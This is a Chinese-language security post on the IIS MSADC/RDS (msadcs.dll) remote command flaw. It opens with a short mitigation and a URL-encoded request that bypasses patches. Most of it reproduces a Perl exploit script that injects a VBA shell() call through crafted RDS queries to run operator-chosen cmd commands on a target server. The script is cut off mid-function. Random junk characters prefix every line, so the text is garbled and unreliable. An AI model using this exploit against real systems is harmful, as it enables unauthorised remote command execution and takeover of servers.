IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[E%g3>/mt r~JGs?GH 涉及程序:
.gGO+8[N* Microsoft NT server
PNd'21N g\q4- 描述:
mR1b.$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
h)fsLzn]Tf w &T\8k= 详细:
>&:}L% 如果你没有时间读详细内容的话,就删除:
;du},>T$n c:\Program Files\Common Files\System\Msadc\msadcs.dll
!q,7@W3i 有关的安全问题就没有了。
nSh~mP SrB>_0** 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
< qab\M0W KQb&7k. 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
^&C/,,U 关于利用ODBC远程漏洞的描述,请参看:
2HSFMgy v0!|TI3s http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm tFc<f7k u=qaz7E 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
&*'^uCna http://www.microsoft.com/security/bulletins/MS99-025faq.asp P_0[spmFU vf@j d}? 这里不再论述。
kaQNcMcq wu
eDedz\ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[;7zg@Sa _q1\8y /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
4)OOj14-V 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
i!8"T# VD@$y^!H 0>BI[x@ #将下面这段保存为txt文件,然后: "perl -x 文件名"
gED|2%BXb *xpn-hCp< #!perl
MZX)znO #
Li|~%E1 # MSADC/RDS 'usage' (aka exploit) script
Z2yO /$< #
+D4m@O # by rain.forest.puppy
&+@`Si= #
r5UVBV8T # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
mRC3w(W # beta test and find errors!
?B;7J7 T 1U.X[}e use Socket; use Getopt::Std;
;92xSe"Ww getopts("e:vd:h:XR", \%args);
fap]`P~#L M^8zqAA print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
F)X`CG ;t k7rg:P if (!defined $args{h} && !defined $args{R}) {
g.di3GGi print qq~
<yX u! Usage: msadc.pl -h <host> { -d <delay> -X -v }
wMN{ 9Ce3j -h <host> = host you want to scan (ip or domain)
&v*4AZ[' -d <seconds> = delay between calls, default 1 second
w9<'0wcs -X = dump Index Server path table, if available
(pv}>1 -v = verbose
XD8I.q -e = external dictionary file for step 5
VVAc bAGJ HBvyX`- Or a -R will resume a command session
=v::N\& QN$s%&O ~; exit;}
&PL=nI\) Rh)XYCM $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
y;fF|t<y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
LI3L~6A> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)P
b$ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
h9imS\gfr $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
jlF3LK)9q if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}riM- $
-<(geI if (!defined $args{R}){ $ret = &has_msadc;
^yc8is'` die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
)4qspy3 0\Jeyb2dl print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"|dhmV[; . "cmd /c ";
?)(/SZC0 $in=<STDIN>; chomp $in;
Or?c21un $command="cmd /c " . $in ;
)V>OND xrBM`Bj0@ if (defined $args{R}) {&load; exit;}
Kf[.@_TD<1 q'+ARW48 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
6pS}\aD &try_btcustmr;
sCY d7r!<u&/ print "\nStep 2: Trying to make our own DSN...";
+FadOx7X$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
yv]|Ce@8A )h 6 w@TF print "\nStep 3: Trying known DSNs...";
?.F^Oi6
u &known_dsn;
f&^"[S"\f L-}Uj^yF print "\nStep 4: Trying known .mdbs...";
pGR3 &known_mdb;
4XVwi<) G;vj3#u? if (defined $args{e}){
y0T#Qq print "\nStep 5: Trying dictionary of DSN names...";
65O 8?I &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
t CO?<QBE 1Dhe!
n# print "Sorry Charley...maybe next time?\n";
VK*`&D<P exit;
'a JE+ c;"e&tW ##############################################################################
\MmOI<Hd- eHs38X sub sendraw { # ripped and modded from whisker
T{^mh(3/" sleep($delay); # it's a DoS on the server! At least on mine...
S&IW]ffK my ($pstr)=@_;
\ILNx^$EL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l1<=3+d die("Socket problems\n");
<a=OiY if(connect(S,pack "SnA4x8",2,80,$target)){
.xT{Rz select(S); $|=1;
P/[RH e print $pstr; my @in=<S>;
`@1e{?$ select(STDOUT); close(S);
8LPWT! S return @in;
%B#T"=Cx } else { die("Can't connect...\n"); }}
zY*~2|q,s Cc{{9Ud ##############################################################################
$,/E"G` N3\RXXY sub make_header { # make the HTTP request
'-N5F my $msadc=<<EOT
H?Sv6W.~ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^W@8KB User-Agent: ACTIVEDATA
;P ju O Host: $ip
-eh .Tk Content-Length: $clen
GJQ>VI2cY Connection: Keep-Alive
fDW:|%{Y, 4\|Q;@f ADCClientVersion:01.06
d(V4;8a0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
V0
Z8VqV (j@c946z"" --!ADM!ROX!YOUR!WORLD!
1fIx@ Content-Type: application/x-varg
O9?.J,,mVh Content-Length: $reqlen
{`M\}(E e&T-GL EOT
3ww\Z8UeK ; $msadc=~s/\n/\r\n/g;
P/WGB~NH return $msadc;}
@uV]7d"z( 03zt^< ##############################################################################
D~i 5E9s5 ^;s/4 sub make_req { # make the RDS request
C%E~9_w my ($switch, $p1, $p2)=@_;
J|
wk})? my $req=""; my $t1, $t2, $query, $dsn;
W(Sni[c{ wM7Iu86 if ($switch==1){ # this is the btcustmr.mdb query
Hq<4G:# $query="Select * from Customers where City=" . make_shell();
iQ2}*:Jc$ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
RkF^V( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
J[Mj8ee# Ev3'EA~` elsif ($switch==2){ # this is general make table query
{t!
&x: $query="create table AZZ (B int, C varchar(10))";
V;CRs\aYf $dsn="$p1";}
"mE/t ( i!UT = elsif ($switch==3){ # this is general exploit table query
k}nGgd6XD $query="select * from AZZ where C=" . make_shell();
x_<#28H! $dsn="$p1";}
`~VL&o1> pYAKA1F elsif ($switch==4){ # attempt to hork file info from index server
}m^^6h $query="select path from scope()";
r9M3rj] $dsn="Provider=MSIDXS;";}
+'93%/: YG=:lf elsif ($switch==5){ # bad query
ZWS:-]P. $query="select";
hPG@iX|V $dsn="$p1";}
)l
m7ly8a| t$VRNZ`dy $t1= make_unicode($query);
"0 %fR" $t2= make_unicode($dsn);
8|\ -(:v $req = "\x02\x00\x03\x00";
VCnf`wZB" $req.= "\x08\x00" . pack ("S1", length($t1));
Zon7G6s9` $req.= "\x00\x00" . $t1 ;
:a2[d1 $req.= "\x08\x00" . pack ("S1", length($t2));
G~u$BV' $req.= "\x00\x00" . $t2 ;
kxEq_FX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
wX6-WQR return $req;}
~}ifwm'7 a 7CF>cpw ##############################################################################
^pew'pHQ F,VWi$Po\N sub make_shell { # this makes the shell() statement
\/SOpC return "'|shell(\"$command\")|'";}
SD%3B!cpX Fz<1xyc( ##############################################################################
.9z}S=ZK e2V;6N sub make_unicode { # quick little function to convert to unicode
ft@#[Bkx my ($in)=@_; my $out;
GoX<d{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
<1lB[:@%U return $out;}
37?X@@Z= >f^kp8`3{Y ##############################################################################
Hl(W'>*oL *w^!\ sub rdo_success { # checks for RDO return success (this is kludge)
Tyaqa0 my (@in) = @_; my $base=content_start(@in);
@m%B>X28F if($in[$base]=~/multipart\/mixed/){
!UPB4I return 1 if( $in[$base+10]=~/^\x09\x00/ );}
<liprUFsn return 0;}
A@d 2Ukv 'ta&qp ##############################################################################
~~"U[G1 FGc#_4SiL sub make_dsn { # this makes a DSN for us
`S?_=JIX my @drives=("c","d","e","f");
ZR)M<